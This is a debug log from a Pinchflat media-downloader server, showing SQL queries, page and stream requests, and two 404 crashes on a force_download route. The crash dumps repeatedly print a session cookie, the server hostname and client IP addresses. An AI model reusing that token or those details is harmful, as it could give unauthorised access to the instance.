m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 04:53:45.199 [debug] QUERY OK source="settings" db=0.3ms idle=60.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.200 [debug] QUERY OK source="settings" db=0.3ms idle=57.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.201 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=57.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.204 [info] Sent 200 in 7ms 04:53:45.274 [info] GET /sources/30/media/141479/force_download 04:53:45.275 [debug] QUERY OK source="settings" db=0.4ms idle=128.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.276 [debug] QUERY OK source="settings" db=0.3ms idle=77.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.276 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.278 [error] #PID<0.139210.0> running PinchflatWeb.Endpoint (connection #PID<0.139086.0>, stream id 24) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141479/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139210.0>, params: %{}, path_info: ["sources", "30", "media", "141479", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/media/141479/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0c6ZpAIN3GkAAIkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139086.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 54888}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 24, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0 (truncated) 04:53:45.296 [info] GET /sources/30/media/141479 04:53:45.297 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 04:53:45.298 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=98.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 04:53:45.299 [debug] QUERY OK source="tasks" db=0.3ms idle=99.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 04:53:45.300 [debug] QUERY OK source="sources" db=0.7ms idle=98.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:45.301 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=25.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 04:53:45.302 [debug] QUERY OK source="settings" db=0.4ms idle=26.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.303 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.305 [debug] QUERY OK source="settings" db=0.4ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.307 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:45.313 [info] Sent 200 in 16ms 04:53:45.388 [info] GET /media/fec685e0-d16d-4a29-aa2b-0aa65e9f172c/stream 04:53:45.389 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fec685e0-d16d-4a29-aa2b-0aa65e9f172c", "v" => "1780530243"} Pipelines: [:maybe_basic_auth] 04:53:45.390 [debug] QUERY OK source="media_items" db=0.6ms idle=87.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fec685e0-d16d-4a29-aa2b-0aa65e9f172c"] 04:53:45.390 [debug] Invalid range request for media item: fec685e0-d16d-4a29-aa2b-0aa65e9f172c - serving full file 04:53:45.391 [info] Sent 200 in 2ms 04:53:45.432 [info] GET /sources/510d4bab-8019-4581-be76-a93c1f9e7728/feed.xml 04:53:45.432 [info] GET /sources/30/media/141479/force_download 04:53:45.433 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "510d4bab-8019-4581-be76-a93c1f9e7728"} Pipelines: [:maybe_basic_auth] 04:53:45.435 [debug] QUERY OK source="settings" db=1.2ms idle=130.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.435 [debug] QUERY OK source="sources" db=1.7ms idle=129.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["510d4bab-8019-4581-be76-a93c1f9e7728"] 04:53:45.435 [debug] QUERY OK source="settings" db=0.3ms idle=130.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.436 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:53:45.436 [error] #PID<0.139216.0> running PinchflatWeb.Endpoint (connection #PID<0.139105.0>, stream id 5) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/30/media/141479/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139216.0>, params: %{}, path_info: ["sources", "30", "media", "141479", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "65.21.124.77"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "65.21.124.77"} ], request_path: "/sources/30/media/141479/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXU0dgML3_814QADaYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141479/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139105.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141479/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 48150}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9XczVHX0dYa0hiYllQQ0ZQ.ZQgaj9O16udoW4g8HxFySYYY3bprBbnDxciSR1YxTFM", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "65.21.124.77", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "65.21.124.77" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQ2tqblA0bm9X (truncated) 04:53:45.453 [debug] QUERY OK source="media_items" db=17.4ms idle=128.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [31, 2000] 04:53:45.485 [info] GET /sources/new 04:53:45.485 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{"template_id" => "31"} Pipelines: [:browser] 04:53:45.486 [debug] QUERY OK source="sources" db=0.3ms idle=96.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:45.487 [debug] QUERY OK source="media_profiles" db=0.2ms idle=51.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 04:53:45.487 [debug] QUERY OK source="settings" db=0.2ms idle=52.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.488 [debug] QUERY OK source="settings" db=0.1ms idle=52.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.488 [debug] QUERY OK source="settings" db=0.1ms idle=35.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.489 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.490 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:45.493 [info] Sent 200 in 7ms 04:53:45.505 [debug] QUERY OK source="source_metadata" db=0.4ms idle=16.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM 